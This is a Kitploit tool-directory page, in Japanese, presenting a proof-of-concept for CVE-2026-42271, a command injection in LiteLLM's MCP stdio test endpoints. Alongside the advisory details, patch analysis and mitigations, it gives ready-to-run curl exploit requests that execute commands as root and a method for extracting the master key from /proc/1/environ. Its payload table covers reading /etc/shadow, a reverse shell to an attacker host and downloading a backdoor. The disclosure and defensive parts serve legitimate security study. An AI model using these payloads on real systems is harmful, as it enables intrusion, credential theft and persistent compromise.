Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42271-PoC — 対応する脆弱性を個人的に再現するためのコード | Kitploit
ツール/GitHubGitHub/learner202649/cve-2026-42271-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育レッドチーミングラボと実践
GitHublearner202649/cve-2026-42271-poc

CVE-2026-42271-PoC

対応する脆弱性を個人的に再現するためのコード

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42271 — MCP stdioテストエンドポイントを介したLiteLLMの認証済みコマンドインジェクション

LiteLLM の POST /mcp-rest/test/connection および POST /mcp-rest/test/tools/list — MCP stdioトランスポートを介した認証済みコマンドインジェクション。有効なAPIキーがあれば、任意のOSコマンドをrootとして実行できます(デフォルトのDockerデプロイメントの場合)。

イメージはdigestで固定済み: vulnerableコンテナはLiteLLM v1.82.6 に固定されており、長期的な再現性が保証されます。

項目値
CVECVE-2026-42271
CVSS v4.08.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-77 / CWE-78 (OSコマンドインジェクション)
影響を受けるバージョンLiteLLM >= 1.74.2, < 1.83.7
修正バージョンv1.83.7+ (コマンドホワイトリスト + PROXY_ADMIN ロールチェックが追加)
公開日2026-05-08
固定バージョンv1.82.6 — イメージはdigestで固定され、長期的な再現が保証されます
リンクGHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory

説明

保存前にMCPサーバーをプレビューするために使用される2つのエンドポイント — POST /mcp-rest/test/connection と POST /mcp-rest/test/tools/list — は、リクエストボディに完全なMCPサーバー設定を受け入れます。これには stdioトランスポート で使用される command、args、env フィールドが含まれます。

stdio設定で呼び出されると、これらのエンドポイントは指定されたコマンドをプロキシホスト上でサブプロセスとして起動し、プロキシプロセスの権限(デフォルトのDockerではroot)で実行します。

主要な問題: これらのエンドポイントは有効なプロキシAPIキーのみをチェックし、ロールチェックがありません — 低権限の internal_user キーでもこれを悪用できます。


概念実証(PoC)

クイックスタート(Docker)

root@kitploit:~
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d

# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

実行の検証

root@kitploit:~
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...

APIは "Failed to connect to MCP server" を返します。これは起動されたプロセスがMCPプロトコルを話さないためですが、コマンドはすでにroot権限で実行されています。


攻撃シナリオ


脆弱なエンドポイント

POST /mcp-rest/test/connection

MCPサーバーへの接続をテストします。stdioトランスポートでは、指定されたコマンドを起動します。

POST /mcp-rest/test/tools/list

テスト用MCPサーバーからツールを一覧表示します。同じ動作 — stdioトランスポートを使用すると、指定されたコマンドを起動します。

リクエストボディの形式

root@kitploit:~
{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<malicious command>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}

パッチ分析(v1.83.7)

修正では2層の防御が追加されました:

  1. コマンドホワイトリスト — validate_transport_fields() により、許可されるのは npx、uvx、python、python3、node、docker、deno のみ
  2. ロールベースのアクセス制御 — 両エンドポイントは現在 PROXY_ADMIN ロールを要求します

リポジトリ構造

root@kitploit:~
CVE-2026-42271/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Payload generation module
├── docs/
│   └── advisory.md            # Advisory reference
└── screenshots/               # Proof screenshots

緩和策

  1. LiteLLM v1.83.7+ にアップグレードする(コマンドホワイトリスト + PROXY_ADMIN ロールチェック)
  2. リバースプロキシで /mcp-rest/test/connection と /mcp-rest/test/tools/list をブロックする
  3. APIキーの権限を制限する — 侵害が疑われる場合はキーをローテーションする
  4. Dockerで非rootとして実行する: docker run --user 1000:1000 ...

⚠️ 注意:MCP SDKの環境変数の隔離

5.7節(プロセス環境変数の抽出) を再現する際の注意:MCP Python SDK v1.25.0+ はstdioサブプロセスを作成する際、LiteLLM親プロセスの環境変数を継承しません。SDKは get_default_environment() を介して HOME と PATH のみを渡し、ユーザーが明示的に指定したenvフィールドをマージします。

したがって env > /tmp/env_dump では LITELLM_MASTER_KEY を取得できません。

正しい方法:LiteLLMメインプロセスの /proc/1/environ を読み取って環境変数を抽出します:

root@kitploit:~
# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key

詳細は 再現レポート の5.7節を参照してください。


参考情報

  • GitHubセキュリティアドバイザリ GHSA-v4p8-mg3p-g94g
  • GitLabアドバイザリ
  • NVD詳細
  • v1.83.7-stable リリース
  • LiteLLM MCPドキュメント

免責事項: 本コンテンツは教育目的および許可されたセキュリティテストのみのために提供されています。

ツールをダウンロード
シナリオペイロード
基本RCE"args": ["-c", "id > /tmp/pwned"]
ファイル読み取り"args": ["-c", "cat /etc/shadow > /tmp/out"]
環境変数の奪取`"args": ["-c", "cat /proc/1/environ
リバースシェル"args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"]
持続化"args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"]
フィールド型必須説明
transportstringはいコマンドインジェクションには "stdio" である必要があります
commandstringはい起動する実行ファイル(例:bash、python、curl)
argsarrayはいコマンドに渡される引数
envobjectいいえサブプロセスの環境変数